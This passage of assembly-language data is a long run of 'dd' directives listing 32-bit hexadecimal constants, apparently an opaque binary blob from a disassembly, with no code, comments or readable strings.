		dd 5FB0EF71h, 0B5199020h, 1AF21786h, 0F895A170h, 0BE71EBB3h
		dd 0E90D1484h, 5BBD928Bh, 507C6092h, 8E4B1613h,	2E15DF56h
		dd 16276425h, 53017B6h,	0F72C70C4h, 1C2D7B02h, 8190F5F2h
		dd 0A25E44CAh, 0A610E0C1h
		dd 79DEF33Fh, 2F8B5C31h, 7A041D1h, 15100BDFh, 0C97A6847h
		dd 67AFCA4Ah, 0D0064747h, 9AD056Fh, 35434201h, 0B29F1073h
		dd 0A85A2028h, 0E0ABB584h, 79D420EBh, 0F7252509h, 0E5BB1C98h
		dd 4F595495h, 1EA3A02Bh, 69BAC529h, 551339F4h, 0A4462CEAh
		dd 95534940h, 2A097260h, 0AC7D763Eh, 0E0AD94C6h, 0BF57299Eh
		dd 9C77FD0Bh, 0C11C5AFCh, 0B2013229h, 74630E6Fh, 901A2F1Ch
		dd 0B708EF56h, 2AC268Ah, 0DFB6F6B1h, 605042DFh,	20E90BC7h
		dd 5E5BBCB4h, 0C5C59EA2h, 0E9DAEE02h, 0A84FC84Eh, 0BA699060h
		dd 4C032AA6h, 5E07276Ah, 0CB95FCD5h, 5FF711C0h,	0F876B625h
		dd 41078205h, 5935062Ch, 898DF67Bh, 14360A2h, 0A3D4B7FDh
		dd 0B5ECBF54h, 0D7A34F2Ah, 3D7D34Ch, 5E483AC1h,	0EF00B52Ch
		dd 10AA728h, 81CD0D9h, 26141C68h, 5278161Ah, 85E2B8h, 757CB10Dh
		dd 12193579h, 0AF7EC636h, 880CFA00h, 4AA3E967h,	2D36E4F6h
		dd 4EED7FE1h, 2FE2F3D3h, 658CA35Ch, 0C51F253Eh,	5D18EAF7h
		dd 0E70350C2h, 4E0C058h, 4C9D9F6h, 170C0E80h, 528FBFh
		dd 85B55150h, 252835B4h, 5CF859ECh, 0BF812A99h,	4B08237Eh
		dd 9FED8EE8h, 68C0D5F4h, 0E4675Bh, 814D5D6Ah, 0A41D7ECDh
		dd 0E5C1760Ah, 7000DF06h, 555D257Ah, 82F6975Eh,	209B4788h
		dd 0BF6E0BAFh, 0BD0E8ED2h, 81C81E64h, 3AAFF0E9h, 0E24AB373h
		dd 4C18503Fh, 80B488ADh, 24F1BE9h, 48BE52B7h, 560376D8h
		dd 0CF090768h, 31465EA1h, 0F63E243Ch, 8C2EDE09h, 90C2D03Bh
		dd 6C9A02Fh, 0B99A4A05h, 50440673h, 1C0C205Ch, 0E5CB1C60h
		dd 0CA4800DDh, 0A0A6A7E9h, 3B0E0D67h, 0C90274FDh, 72564039h
		dd 0CC7FECC0h, 7FFAD626h, 6809A010h, 6D464F24h,	8284EB5Ah
		dd 826AC7BBh, 0A2D7A5A9h, 0D934D2C6h, 0FBB39942h, 6CE86F5Fh
		dd 0BA3D8CC5h, 80C12ECCh, 0A7A59937h, 63F30E3Bh, 0C81E0B64h
		dd 2D733CC5h, 9B437DA8h, 86C5AD9Ch, 129CFB29h, 82AAE9CBh
		dd 49855CF3h, 0B711F060h, 0F9497277h, 5B5416D0h, 2B2E9DFAh
		dd 55C1B7E8h, 2ED4BDE9h, 5CB056BCh, 0E9FC601h, 46BC6479h
		dd 931420BBh, 0BBEC1B2Dh, 0AE117E0Ch, 18846C1Fh, 226EF626h
		dd 0AD255122h, 269764Fh, 61CFFAA0h, 4D8D861h, 6E60D199h
		dd 4FD6B789h, 774B4042h, 315F6D94h, 848B0267h, 94BEEAF1h
		dd 0D7C90032h, 0E9714B6Eh, 0CFAF3AD7h, 87ED1AF9h, 9253771Ch
		dd 45FE5CEBh, 0CD72A85Bh, 0B33BA5D5h, 283A846Ah, 0EA4CA650h
		dd 0CDF09512h, 6CBB3033h, 0DF2B0BB5h, 2BBA5B1Eh, 67C2E65Eh
		dd 2BCAD768h, 5DC9461h,	64ADE0FEh, 967E64Eh, 7B62D94h
		dd 121CB05Ah, 0D0E957BCh, 96438D4Eh, 82C2FC89h,	0FEB479E9h
		dd 0DF7A8B31h, 6D363CC8h, 922DC33Dh, 90F33EABh,	0EE8C102h
		dd 5457C831h, 0AF564589h, 0D3683D9Dh, 0A6862C26h, 0C7873B52h
		dd 0C40E3E24h, 4B93A848h, 82138EEBh, 0FD65C380h, 0B86213F1h
		dd 4E6557D2h, 8B44EF17h, 2D009AB0h, 2B741F17h, 55017198h
		dd 32F46852h, 47E6CC9h,	8822E91Eh, 5E4FF529h, 59CB3CBFh
		dd 0F0100B5h, 7EE92311h, 0BF39D235h, 7F494EC0h,	266B79C1h
		dd 288E5FF9h, 29950031h, 0B90D18A2h, 45176D63h,	3A45E7E9h
		dd 9B048966h, 810425C3h, 3DD7AEEDh, 0EBBDB6B2h,	0B97A002Fh
		dd 810E3D02h, 3A13D5CBh, 90AB3780h, 33BC6817h, 0A16188BCh
		dd 57FEF625h, 4F472D02h, 267E9680h, 989003FCh, 0D33C3904h
		dd 54C431E1h, 656E6880h, 3C009F8Fh, 0F4A70EEh, 165CB3B8h
		dd 6F6F613h, 4DE42590h,	0DF41B251h, 527902Bh, 450459F0h
		dd 67EB6816h, 382722BDh, 0A74A0ED6h, 0C116C92Ah, 330108EEh
		dd 4401CDB8h, 0BF91D6F8h, 0DE9F1122h, 1D2079D2h, 16B50B3Dh
		dd 0E985F580h, 0C821EAE8h, 0E63E09F0h, 68558041h, 33503DE3h
		dd 0E7C65D2Bh, 86850F4Fh, 1B4971ACh, 0AEEBBB84h, 622F99B2h
		dd 457FCB0Bh, 90A73F34h, 0B057ADE2h, 80AEEFF4h,	3898EB83h
		dd 7C05E330h, 5FDF7098h, 7C3B8803h, 15B2E024h, 3CEEE08h
		dd 5457D830h, 0E22FE37Ch, 5DBDA4EDh, 0B02183A0h, 49813135h
		dd 7F04C8E7h, 44B1F6BCh, 808BBDCCh, 6EDC002h, 95B5C580h
		dd 0E909FC59h, 5EE8E285h, 0FCD065A4h, 2DFA4B9Ah, 33EB203Bh
		dd 931B5739h, 754270E9h, 0D52A2568h, 0B7C8CC1Bh, 4D274709h
		dd 0EDADF75Ah, 885FA632h, 5F7B841Dh, 54B23CAAh,	0BE31E913h
		dd 508FA1B2h, 1A4CBA9h,	8184E842h, 472F6866h, 1D3C1F21h
		dd 3806BB00h, 0EBD14DF0h, 3DC8FEF9h, 0B31E5352h, 4D3C0C2h
		dd 5C0C4416h, 0F1FE9FA9h, 868E8EBh, 640690DDh, 0FBC5ADC0h
		dd 81EF3D94h, 6E9D9474h, 3FB27B44h, 4899CABAh, 0F794258Dh
		dd 1EC797A0h, 314BAEBCh, 53278EE8h, 0A1B33729h,	6AD3A1DDh
		dd 588F3DB4h, 8A101D47h, 0AEE91734h, 0C6599B4Eh, 6BD793F8h
		dd 0BE29E1BAh, 0A85F2CDDh, 664B7ADh, 0FE12B709h, 9F077C7h
		dd 0C20F3E7h, 288E1607h, 136AE2F8h, 8431CE2Bh, 50AF5066h
		dd 7BC2B669h, 0EAD98AE5h, 3E96E57Bh, 5202E980h,	0C96B2DE9h
		dd 0F9676056h, 35580008h, 30CD37D8h, 0F76263F6h, 5CF02826h
		dd 2AA15912h, 7CA5BFCh,	9EF7AFD6h, 0C93999FFh, 5927AC56h
		dd 83B609BEh, 0FA6D447Fh, 652B9427h, 9A3A038h, 0B1C5F28h
		dd 9DE80D20h, 39E564ABh, 125DB915h, 0CDAFC94Eh,	9CA1018Bh
		dd 166E29CEh, 0C79856C2h, 0E87910DFh, 148B327Fh, 0C5C9DE50h
		dd 0B9E940E5h, 5F7B4EDBh, 0E94BE39Fh, 312B4145h, 2A2C1AF7h
		dd 401EAE53h, 547574C2h, 8B9ED45Bh, 53D62BA8h, 0B5BBF892h
		dd 0AA32B2E6h, 0A3D37585h, 42F22FBEh, 7C347D2Ch, 0D639A297h
		dd 62F874ECh, 946F9F0h,	55CD8797h, 4B92DEC2h, 49D8826Ah
		dd 0FE4261D2h, 2C030940h, 2BCF13DEh, 2AAB807Dh,	0F26CFA63h
		dd 8F2F60C4h, 6907EDEEh, 9350F58h, 2FB6FCFh, 0B7C6C4h
		dd 0BD39A205h, 6C2D4202h, 632E0938h, 702E581h, 0A25F7068h
		dd 0FF3747DFh, 0BFD6BAA4h, 3BE53E37h, 165DE9F0h, 35539C68h
		dd 6B35BBCFh, 5700BFA8h, 0B7BA5B37h, 13003311h,	5659CA31h
		dd 0B58B43E9h, 12BCC5F4h, 99FA99B3h, 54ECA7FAh,	0EE98BE5h
		dd 0BE06A670h, 2B3124D3h, 42009F6h, 0A9803A61h,	74D10DF6h
		dd 5675E927h, 6E1CBD6Fh, 897F1730h, 42D0E92Fh, 3A571CA7h
		dd 52895EDAh, 30E9B0DDh, 1E339326h, 504F6083h, 4C6F09B0h
		dd 85824A88h, 6DE0277Bh, 2D3872C2h, 0E41DC62h, 520B0796h
		dd 472AD8B9h, 93354FD1h, 40045596h, 6A617F99h, 92D175C5h
		dd 5FD8CBF6h, 2048BD22h, 372F709Bh, 23568743h, 3BB01F18h
		dd 957AA6EBh, 807CB11Dh, 14E65825h, 0B15E3710h,	4ECA0C76h
		dd 640C05FCh, 89C6A32Eh, 560B1924h, 0A7EB8458h,	81D2C016h
		dd 21D86CDh, 0F5810920h, 91138899h, 54DA070h, 1314F64h
		dd 89C10EBh, 970EC4Bh, 0A0B5E95Dh, 0EBCA8100h, 6B942825h
		dd 81804C90h, 0D329C10Bh, 6850C8D5h, 0B4D62F7h,	0ED555DB4h
		dd 39AB0B16h, 56640B76h, 0D1F1CBFFh, 7821D227h,	0CF2AB6DDh
		dd 3E521087h, 0D3E85A30h, 254AC57Ah, 409B10F0h,	2B3F05C1h
		dd 0F4602532h, 115FA516h, 0BA35A811h, 6138BE3Bh, 0BABF4F13h
		dd 0BF420938h, 0CC42E8F1h, 0D75C0B80h, 9717C1C6h, 2D90D1F8h
		dd 0CB0CD879h, 0AD3F654h, 20CC98B6h, 5376CFC6h,	32B5E42Ch
		dd 3615166Ah, 0D0F502A0h, 0E13EAF19h, 384187B6h, 4370CCB6h
		dd 0F3605A39h, 8B7CCD91h, 39C34683h, 0E5B03768h, 0B8506C03h
		dd 0EE609E89h
		dd 6779C723h, 50E9001h,	382CDACFh, 8BB5007Eh, 31203F17h
		dd 0BA27A6A3h, 57C54247h, 81DA138h, 13766880h, 222C0E2Dh
		dd 0BED0D660h, 0B5F75348h, 0B5AF0575h, 0E08F6BB6h, 5E271Ch
		dd 3E290521h, 400E15C1h, 0CB9C5535h, 624C5936h,	0AF0AD9B3h
		dd 2EB85000h, 13B056Eh,	87BAF7BEh, 36C629AAh, 4F144983h
		dd 7348C9E8h, 0D3CBE001h, 65FDE96Eh, 9FA87EB2h,	962EE9B8h
		dd 29CF20FEh, 5AEA40E0h, 7C5C3168h, 4F8FD29h, 367203FAh
		dd 0CEB34B8Ah, 703C5AE9h, 0B9544D70h, 514B5825h, 80583DFAh
		dd 696ABEECh, 0C0460E91h, 0D576644Ah, 0DE5A874Dh, 442DDBACh
		dd 66A5160Eh, 0DFF2EB7Fh, 279ABF70h, 23409B00h,	68504CCCh
		dd 72D2290Eh, 605E5809h, 4A3B4A2h, 0F608E4C0h, 4BC2FAD4h
		dd 27C0749Ah, 0E6492532h, 96002AD4h, 5B0B57BDh,	0B84D717Bh
		dd 2408E81Eh, 2C336D5h,	0F04E2547h, 0C6AE95Dh, 0EF80406Bh
		dd 27216846h, 36E60CC1h, 0F7F02F73h, 1DA13C6Fh,	0BC4917CEh
		dd 44EA5EF0h, 0BBF8BC0Fh, 93DC0BB3h, 0FEA3843Fh, 387D2BC3h
		dd 0AC76A706h, 8A6812FCh, 26168C51h, 32609741h,	0BB80B5C2h
		dd 0B466F2Dh, 6A2D27B8h, 0F109691Dh, 0B839B8ECh, 0B4674F19h
		dd 7E5FA2C2h, 0A0E82224h, 0F7C569C6h, 3494ED05h, 50AF3D6Fh
		dd 325208A9h, 66606149h, 220A7C90h, 3B4F1A3h, 1350F168h
		dd 0CB9F9455h, 0FD022D7Eh, 0C5BCA39Eh, 0C640648Bh, 6A2F0901h
		dd 3C076C73h, 75FDE050h, 6CB7F129h, 0B8E95113h,	72A31005h
		dd 59C82109h, 620AD556h, 48ACC022h, 0CD3D2002h,	0A0C4D40Eh
		dd 0E95B0908h, 0D6797EA3h, 0C5AD34Bh, 26FBDA25h, 0D69F2070h
		dd 455552B4h, 74E90923h, 0B04E8FA5h, 58033E62h,	0F70908C7h
		dd 49E7C85Eh, 43C84C15h, 4752814Fh, 0D0FB072Eh,	0A631BF33h
		dd 6F7849EEh, 7F0F3B61h, 0FC2D7806h, 5BA77607h,	0B85E8EEAh
		dd 0FF005412h, 6140D7B9h, 0C9810020h, 7D726EE5h, 0E64B9FE9h
		dd 0A9BB3637h, 0F98582FCh, 9FE75D5Fh, 0E82615h,	0FEE8B551h
		dd 1F580C5h, 59EF287Ah,	0E4E3B15Ah, 0F9F2A4E9h,	41EBC1FCh
		dd 3DF876C1h, 0FEA25A6h, 7D3E66B8h, 8DA9D0Ah, 0A2220402h
		dd 770B8B32h, 0F6AF36F3h, 6850803Ch, 1E935D92h,	4F20E932h
		dd 3713DF66h, 51B884D9h, 40847E7h, 4F04E9AEh, 3C1CB6E8h
		dd 4D5D09B1h, 23785C80h, 0D002561h, 7D4F5283h, 11D4335h
		dd 2D40109Eh, 7E8064B4h, 41E9A8C0h, 0BD75C3B1h,	0F0A5100Dh
		dd 0BAF252A9h, 0C812723Eh, 0C9E82642h, 0F2404512h, 2A2994BEh
		dd 0F8EEF023h, 31B34F33h, 7B0C5EF2h, 5A4DC3D2h,	31A89593h
		dd 324E096Dh, 0F4A776DEh, 0A7A7BDC6h, 0F54BA955h, 244AA091h
		dd 70BBB7Ch, 58B64715h,	0FB099FC9h, 4E093DD8h, 749F96Eh
		dd 4F47EE56h, 0E9460DA0h, 5791C0F7h, 0D01BFBBFh, 0E0804069h
		dd 0EEDFF62Bh, 0C9F25A8Bh, 0A9AAFCF5h, 71B810C1h, 0D1FFE10Bh
		dd 0B938EBF6h, 0FECC4DC4h, 5D32318Ah, 0C77D278Ch, 22D4278Eh
		dd 76BA5200h, 25071171h, 8D7ED2F7h, 3A325603h, 93E2B075h
		dd 38953E55h, 5412F206h, 0D35C4E94h, 0E70A8632h, 3C7318A1h
		dd 97E5E8F5h, 0B5951CBDh, 2C625C7Ch, 11BF07D1h,	0E931FD1Ah
		dd 58EE5243h, 60378F60h, 29337212h, 84C10AFh, 24E95905h
		dd 160ACACEh, 0B0085A54h, 2DF82F95h, 9B06354h, 3ED55C95h
		dd 21F31600h, 7A4BCB81h, 19383F48h, 20608EBh, 2705F8F3h
		dd 240960DAh, 2DAC3A79h, 867F1190h, 0E313B02Dh,	88125AC8h
		dd 9958886h, 75907D8Ch,	0E7AADB63h, 0E944DC05h,	0FEEE2518h
		dd 0D6BEBEBFh, 9D5D34A4h, 441A02BDh, 0CAFF2D2Ch, 834D41F7h
		dd 1CD41939h, 0E3180925h, 5081D7C2h, 4F019220h,	7AADA625h
		dd 790DBF2Dh, 26AA6ADh,	55F1529Ah, 4F5EB78Bh, 88EF2989h
		dd 0BB81B039h, 48365F39h, 0EEF00561h, 0C278BEEDh, 487C7844h
		dd 73AC5967h, 2521B6BDh, 37C867D5h, 2C4371CDh, 0F7E8C1CFh
		dd 66046FA7h, 93F8BE59h, 4E0168E0h, 98C0CC97h, 32EC25FEh
		dd 252DFF6h, 0AEA04887h, 2E40C58Eh, 1BC48D74h, 0D1C86AC2h
		dd 14F70B84h, 2AAD647Fh, 620FE60Ah, 7A87DE8Fh, 0B82ED0Fh
		dd 0F3E4BD7Eh, 34FFF589h, 0D54E815Eh, 7ADD3B13h, 5189C62Ch
		dd 774BEC2Fh, 0A0DC7108h, 0B863B007h, 977595B4h, 0A652932Ah
		dd 7D5A256Fh, 0E935AD3Ch, 0F5C76711h, 2CF30986h, 5E712Ch
		dd 0A7ED802Dh, 0FD02B050h, 2858C530h, 0C974D6E8h, 2F9BCE7Fh
		dd 49295BE9h, 0AE448002h, 331A1075h, 2E2E7B1Bh,	6BD09750h
		dd 2FAEC4F5h, 5AC579C5h, 168A0608h, 250FFEBDh, 0DADB4507h
		dd 3ACFB3AAh, 68EACB34h, 5DD2974Dh, 981D3704h, 5BDD3102h
		dd 0EE4451D5h, 0E638FBD2h, 681AC78Dh, 8759EB9Eh, 0BA656598h
		dd 260D0048h, 7F87054Dh, 6DB866A6h, 0FBA239Ch, 3DFE6DA1h
		dd 309CC681h, 903A06FDh, 1B8EF6CAh, 46603676h, 0CAAB090Eh
		dd 0BD74B75Fh, 0D51846A4h, 2628826Bh, 24F922FEh, 4D571254h
		dd 600E5F77h, 55165671h, 0E5001172h, 79711FEBh,	0E9C10B21h
		dd 50DC0FC8h, 4626BE82h, 18F2FC25h, 315B5E81h, 29AAF85Fh
		dd 453630FCh, 1EF90709h, 9848004Ah, 0BF4CCD2Eh,	0DBC85642h
		dd 565B6663h, 944C69F8h, 0A6C2776h, 4E8344C0h, 0E04B62Fh
		dd 625360B5h, 8296609h,	0BAB9E9FDh, 7DE3BE00h, 26C176EAh
		dd 1B705EEh, 0D6984942h, 0A0997B29h, 5161B96Ah,	21BD2E80h
		dd 0C1CEE9A0h, 5AD571A0h, 98A12C8h, 8001CB80h, 2088CFEBh
		dd 66722C10h, 51818348h, 0ECC5CB75h, 0B08BF65Fh, 0D65458A1h
		dd 0BBF8A4D2h, 0E04D040h, 2CD82888h, 0E3A2668Bh, 98D00968h
		dd 70075EB7h, 0C69F2F17h, 0B7EBFE5Eh, 1E25DCEBh, 5066F6CBh
		dd 3814D7BFh, 30B211DAh, 76E90DD3h, 0BE209530h,	237B5369h
		dd 0C1CFC3B7h, 0C92C221Ch, 4AB050DEh, 0C6D2E5D1h, 0B550BE24h
		dd 3D4851F4h, 247ED44Bh, 3D7CA7A1h, 1ECA74DBh, 57C34BDh
		dd 0EE29DF2Dh, 0FA5758F0h, 513C3BFh, 56362A9Ch,	0B0F28F8h
		dd 14FBE95Fh, 0D3449D32h, 17A85E5Fh, 0E9E56C92h, 0BEC017B0h
		dd 0A3F443B9h, 70609F0Ah, 0F19DE5C1h, 0B801C562h, 28969CC7h
		dd 0ED0CA759h, 4A580842h, 5ABA807Bh, 937997Ch, 9CE9C509h
		dd 0D296DA74h, 0BD5E20AFh, 5D606C4Eh, 0D671AC0Ch, 4B80BD97h
		dd 2FF5EA05h, 81BB3C4Eh, 74D83B4Bh, 21EFC34Dh, 59F22F4Ch
		dd 0EFCAEB4Bh, 62CFD94h, 79AA08A5h, 0C8AE4316h,	5D7904C7h
		dd 2AE9E609h, 429AFC2Dh, 147E6585h, 14306801h, 0ED6B5C74h
		dd 9AEF9247h, 10BA4317h, 0BF4AE8F7h, 0C138D544h, 76C42681h
		dd 0D4F9AC02h, 0E961B540h, 31BB5A60h, 2F81EBF4h, 2F790BF3h
		dd 505292B5h, 97504B3Eh, 0CD0BF76Fh, 6E0678A0h,	997E43BDh
		dd 61578D76h, 0ABCD6B84h, 3291B02Fh, 7EDD7C4Ah,	655774F2h
		dd 31EC0489h, 9A0167Ah,	55C9C096h, 1A826857h, 0A2659226h
		dd 0B2BE701h, 57B05CAh,	9C96B0CBh, 9D40ED65h, 533A2768h
		dd 25DC1098h, 3AFD914Eh, 4E83D750h, 0CD1C04EDh,	7ACCAF37h
		dd 2FE6B573h, 25E0498h,	0BD4297E3h, 3EAC885Ah, 0F2EBFA63h
		dd 11CC8110h, 0B541EF3Ah, 16850633h, 6CAB53Bh, 0F60B1C08h
		dd 5C0AD71Ah, 727758B2h, 276D45B7h, 6B20A764h, 0FD505FA6h
		dd 0A9DF8E78h, 0C4BED6F8h, 889EFA50h, 23F4E909h, 6A62C954h
		dd 0C15F59DDh, 2A0FF868h, 0B84B22CAh, 0BB53B0FFh, 0DF7B096Ah
		dd 0A4894B1Ah, 3D6C8081h, 0A0823AB4h, 48BD02ACh, 75D8427Fh
		dd 0D013D176h, 54D88CBFh
		dd 4EBEDBBh, 0B204D5CEh, 0B4B1C031h, 0E25C3016h, 0D11D7068h
		dd 22E5CAE9h, 0FEA0E880h, 660F82F4h, 0C961774Bh, 0A8CC7AEFh
		dd 0F9975BD3h, 0BCFC9ABh, 6DEEDFF0h, 96352962h,	0D7E1A209h
		dd 0C3465Ah, 0F1803EB1h, 0C285E9E4h, 535C40C2h,	93938052h
		dd 167DDD7Bh, 5BDA89h, 0E12DE240h, 3CE3E906h, 40434536h
		dd 0D2304624h, 0CD01051Ah, 0A10808C6h, 84137624h, 0F9D4ADE3h
		dd 0D9AD6887h, 0FA621256h, 0E8467722h, 3DFC545Bh, 0BBC8FE17h
		dd 8E342205h, 1C995FFh,	0D0305887h, 2CF4C66h, 4056719Dh
		dd 1D6851B2h, 288D265Fh, 0D8ABC401h, 0A590F805h, 0A756F0BBh
		dd 800F909Ch, 0F62829C3h, 6862A7ABh, 0DAFFF175h, 79370975h
		dd 693F4821h, 0FEFA3AC0h, 85A4C483h, 0FE744E12h, 0BB68C820h
		dd 2666BF3Fh, 481CC15Ah, 0B4086626h, 0E65F2594h, 0F3800DB8h
		dd 68662831h, 7A368096h, 1E812DAFh, 5372CCE3h, 0CD56EA74h
		dd 61096603h, 621E057Ah, 810B664Eh, 0CF4BB639h,	0FCF624EEh
		dd 9F954A29h, 0D27AED10h, 7657BEC7h, 25687298h,	0E9677D22h
		dd 5B4BBA01h, 63A601Ch,	4BE7356Bh, 0A6B48880h, 0A94E22F4h
		dd 0F78D21BEh, 0B1CDEFF9h, 45D5DC22h, 5C976DF0h, 0AA6434E6h
		dd 0E9080ECEh, 0F63E11C9h, 4945E359h, 4FF6601Ah, 0C4128208h
		dd 0B754D1Eh, 7D049859h, 0DC1E7328h, 5F65020h, 0AE6A70BEh
		dd 5CE69C00h, 2D51C14Dh, 7551CE87h, 17A00E34h, 98F016C8h
		dd 7856A1D1h, 0ABCD8499h, 0BD7A45CDh, 0C7AE4B5Fh, 1D230A4h
		dd 88A30359h, 0F64EFB32h, 2DED5780h, 75011132h,	0F7CB035Eh
		dd 0EE047669h, 75E16B48h, 0A84D1430h, 1870C5C1h, 1A4142ECh
		dd 85203C2Bh, 26D30F55h, 0E9805776h, 657E60D1h,	6C1840BDh
		dd 0CEBB8385h, 6A93BAF1h, 0E8AA22D4h, 76BA5AADh, 682D8873h
		dd 0AAB0F9D9h, 73D49510h, 8AEED6EFh, 44D6DA45h,	25E77731h
		dd 83F91D3Ch, 7DB5B642h, 84690271h, 0BE00F019h,	29545E57h
		dd 0DEFF6295h, 2E5C26F3h, 0EDC25AAh, 0E6435651h, 0E2FB487Dh
		dd 7BBDF920h, 20D0623Fh, 0EE8105D6h, 319F19BAh,	1663CF30h
		dd 0AF1DB80Dh, 0A04E471Ah, 3947685Fh, 0F2EBE105h, 791D46D9h
		dd 15C99553h, 3653E5Fh,	0BA9A56EDh, 98D0B3F6h, 0DE098236h
		dd 0ADA8607Eh, 0A03EF797h, 0F595F18Eh, 0E334918h, 0FE5A32CBh
		dd 0BE5012D8h, 0BE383E3Ah, 0EE290360h, 490F587h, 0BB80ED00h
		dd 0E921FF49h, 4DD8955Dh, 635B6813h, 7A833937h,	9EDB1039h
		dd 0F0B80202h, 0DF61DC2Ch, 90505F07h, 0B155627h, 0C139E92Dh
		dd 0DF705D39h, 168C481Fh, 0B187C0A4h, 1548AF75h, 0FF42028Ch
		dd 4021522Fh, 9DB0C97Fh, 7790D346h, 27FE9E84h, 5BE3049Dh
		dd 32623DC6h, 585618FCh, 7E023241h, 13CC48B1h, 90B906Dh
		dd 106A3859h, 4D82047Ch, 42B6CB34h, 1A9CD7EEh, 82CD30F9h
		dd 0C2CE9B95h, 28925418h, 0BEA82054h, 0F6F7860Ch, 398008D6h
		dd 0C79D60CFh, 222DBE33h, 2C029B5Ch, 571AE99Dh,	0AA713527h
		dd 81AB6FB0h, 1BBB1074h, 16598F6Fh, 0BA515074h,	18167916h
		dd 0CFEE0884h, 712513E8h, 8EA199A8h, 0C8916AFDh, 3A824707h
		dd 4A69F503h, 0D549D2F4h, 0CB285C96h, 72D77D9h,	0A7017928h
		dd 2EF697A8h, 45D727C6h, 0A6DB6907h, 0A6BFD109h, 5EFACD7Ah
		dd 0D8E5AD15h, 3B078FAEh, 0EF00197Bh, 53B86485h, 3A90F701h
		dd 3FC70889h, 124F6AB0h, 1755E32h, 1CD540C9h, 27E16AA4h
		dd 0A1ECF83Bh, 8D88728Dh, 18287480h, 0F195E70Ah, 8A139F77h
		dd 6872CAEBh, 0F6CB88A0h, 762858BCh, 3A8BC082h,	0FC848388h
		dd 95F35A2Bh, 15167F00h, 0D9874126h, 8CE6A90h, 35EA17E9h
		dd 0EA000DFBh, 6F9FF450h, 91C15BC7h, 7517F132h,	0D048D650h
		dd 0D6A16905h, 901B0312h, 7BEE097Fh, 0E06BE92Dh, 0EEF1F6EAh
		dd 0F3A097E4h, 1153BCC6h, 5F84354Ch, 4ED07513h,	92C07E6h
		dd 0D6F76303h, 0E7790D5h, 107F01E3h, 8FE9F331h,	4DA591F1h
		dd 0BACF593Dh, 7DAF63C5h, 7E7DD22Ch, 3B2AC62Ch,	0F36BE09Fh
		dd 967EFE77h, 3B6805F3h, 35DF444Fh, 62F218EBh, 18C3010Ah
		dd 3CF5A2B9h, 0B3C73AE7h, 7525913Ah, 4BB87BBAh,	735B0168h
		dd 5FE98BD8h, 949160Eh,	741DA67h, 0E2B44701h, 576CB449h
		dd 0B97DD4BFh, 0C330D83Ah, 0C6ECE908h, 5F92F4B9h, 53E609EAh
		dd 21268F3h, 9A685CC0h,	0B0F3B539h, 27807208h, 4A77A1CAh
		dd 42927EDCh, 5A009441h, 0F459CF89h, 4B27B857h,	5A0B2B3h
		dd 689E318Eh, 52ED0AEh,	3560B169h, 5887E911h, 0E85D4A2Fh
		dd 3EE9E057h, 15F4B77Eh, 537B7FDAh, 99AF1C16h, 0D0227E86h
		dd 60995FEBh, 9D796A5Ah, 54306A35h, 51A39E02h, 470A3053h
		dd 294AC1E0h, 8BB392BEh, 0F1F6205Fh, 5A950E94h,	0E4C18703h
		dd 0BEEAD5A4h, 0CA9285A2h, 205A48ADh, 86BBA18Dh, 0B51F12E0h
		dd 1900A071h, 90675F7h,	5A7DFCCAh, 0A537BEFAh, 49AEFDA4h
		dd 795DF08Fh, 6A8862DFh, 0BFE96AA1h, 0FFFB55E7h, 25DCAD86h
		dd 0D61858E4h, 5462E968h, 0D4B12A63h, 13E96894h, 8699AE6Dh
		dd 0B72697ECh, 0BC181E8h, 13BC231Fh, 0CB8C1409h, 3E6D2C2h
		dd 1A205366h, 0F75F4898h, 0D339A24Ah, 3283F5EAh, 3991F508h
		dd 9A2E77FFh, 0A15B5C75h, 5A345BE9h, 9CFF958Fh,	0B5682FC7h
		dd 0C2028568h, 850A4583h, 0C29DAD6Ah, 0D7668168h, 0E2E965B0h
		dd 5276A892h, 4B826359h, 307E00FCh, 0BEA124F4h,	0F86449E4h
		dd 0C4EBB832h, 4CF7BA01h, 4C99AAD7h, 75F8002Bh,	1605F4Dh
		dd 92AC744Eh, 0C4640CD0h, 805C09ACh, 5A6A8677h,	4810B073h
		dd 0D9A137B6h, 2F6176EFh, 688E070Eh, 14B82505h,	93BE1CC8h
		dd 8037095Eh, 763F880h,	6000BD7Ch, 5E5F6D93h, 9540E988h
		dd 6F214780h, 8CF25D1Ch, 310EBDB6h, 89F54BEEh, 970C58E8h
		dd 3ACBB857h, 496E926Ch, 2514D64Ch, 8D6C31Fh, 6805B3B4h
		dd 0B5E95B14h, 270FC99Fh, 4402FBF9h, 639B02E3h,	0A6C0F1BEh
		dd 1AA1453Fh, 0A256BF18h, 64BD371Ch, 0AC12FB22h, 0E4E3198Ah
		dd 8061EA8Dh, 0D3DE33A5h, 88EF281h, 1C920BA0h, 7A2BFD73h
		dd 31CF5FCh, 7F250119h,	0D248E485h, 48752DC6h, 5B015B13h
		dd 1C5FABD8h, 0B017D7Ah, 9BA0D15h, 0F27F4F89h, 0C9350018h
		dd 0E972F2B1h, 27819E69h, 9EAF81F5h, 0D5203925h, 31D5A983h
		dd 147D5502h, 0B0C9CB9h, 0ABCACD16h, 0EEB4E7C0h, 0E2EFDCB7h
		dd 9DBC8h, 0D434D993h, 58F7F64Ah, 3181ADE1h, 20116F32h
		dd 471DB268h, 0E2816108h, 79C18DEh, 4A6CC33Bh, 0D7E83810h
		dd 367E312Dh, 40FBDFE4h, 0AE395760h, 0FD168959h, 60A1F0E9h
		dd 1224BC2Ah, 5C21DD88h, 0CE51BDBAh, 0E42A05D0h, 93952DEBh
		dd 74EA8241h, 37684136h, 0DE5DC245h, 185B5626h,	405FB7D8h
		dd 0BD0455E6h, 212F0B65h, 827505FEh, 7A69E6D4h,	3937D85Ah
		dd 20BBC795h, 0E4C9F151h, 8EDB55Bh, 2F80BC7Dh, 909593E0h
		dd 0F0FE80E0h, 0A4685E3Ah, 5164BD13h, 91EF5D81h, 1B653949h
		dd 0A66C7EF1h, 44FB5725h, 0A4D73398h, 82569D7Bh, 7FFC4B42h
		dd 0BEA26072h, 0C44EFAACh, 29AADD5Ah, 0BA3A8130h, 30A6201Bh
		dd 4AE97F74h, 686D02F8h, 65592FD0h, 3CA67588h, 4FE1F72Fh
		dd 0D99C388Bh, 127ACF27h, 42B6AAB2h, 620AD1B1h,	0A22F770Ch
		dd 0B6DCC8E3h, 2F5881EDh, 34C494B2h, 14AF132Ah,	360768EFh
		dd 0E50ED338h, 0F840EF73h, 50B80C7h, 32DA9D2Ah,	0FBC00882h
		dd 1C2714C8h, 0A0D4D84Fh, 0C0B64A5Bh, 6858C7CDh, 18BB6633h
		dd 5B93AD0Ch, 0AC209C1h
